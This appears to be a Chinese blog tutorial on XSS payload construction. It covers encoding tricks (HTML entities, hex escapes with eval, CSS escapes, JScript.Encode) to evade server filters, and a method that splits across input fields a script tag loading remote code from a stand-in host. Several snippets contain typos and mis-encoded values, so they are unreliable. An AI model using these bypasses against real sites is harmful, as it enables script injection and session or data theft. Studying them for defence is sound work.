XSS 跨站脚本攻击之构造剖析(二)

1.利用字符编码

(1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode

 

(2)使用一个XSS编码工具,以便对字符串进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码

例如:<img  src="javascript:alert('xss');">

         编码后:

      <img  src="&#106&#97&#115&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

(3)另外在javascript中,有一个eval()函数,该函数可计算字符串,并执行其中的javascript代码,

例如:  <script>

           eval("alert('xss')");

          </script>

(4)可以使用\连接字符串,然后使用eval()函数执行十六进制字符串形式的脚本:

例如:  <script>

          eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x27\x29");

          </script>

 

(5)此外,样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释:

例如:<style>

          BODY{backgroud:\75\72\6c\28\68\74\74\70\3a\2f\2f\31\37\2e\30\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\66\29

                   }

         </style>

 

(6)style属性中的javascript和expression等字符一般会被程序过滤掉,但经过十六进制编码后则可以逃避过滤:

例如:

①<div   style="xss:&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;"

(alert(1));"/div>

②<img  STYLE="backgroud-image:

\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">

 

(7)javascript支持unicode,escapes,十六进制,八进制等编码方式

 

(8)编码/加密技术-------JScript  Encode 和  VBScript  Encode

Microsoft提供了脚本加密机制,可以对脚本进行加密,包括JScript和VBScript,经过加密的脚本能在IE下运行,在其他浏览器中则不识别;

例如:

<script   language="JScript.Encode">

#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@       //等价于alert(1)

</script>

 

 

2.拆分跨站法:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑起来在一起执行,这和缓冲区溢出的shellcode的利用方式一致;

存在XSS漏洞的页面,该XSS出现在标题处,并且对输入的字符的长度有限制:

标题1:<script>z='<script  src=';  /*

标题2:*/z+='http://www.test.c'; /*

标题3:*/z+='n/l.js><\ /script>';  /*

标题4:*/document/write(z) </script>

 

/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转化为:

<script> z='<script src=';

z+='http://www.test.c';

z+='n/l.js><\ /script>';

document.write(z)</script>

 

然后依次赋值给z变量:

<script>z='<script src=http://www.test.c/l.js></script>';

document.write(z)

</script>

 

posted @ 2016-08-08 18:43  小春熙子  阅读(454)  评论(0编辑  收藏  举报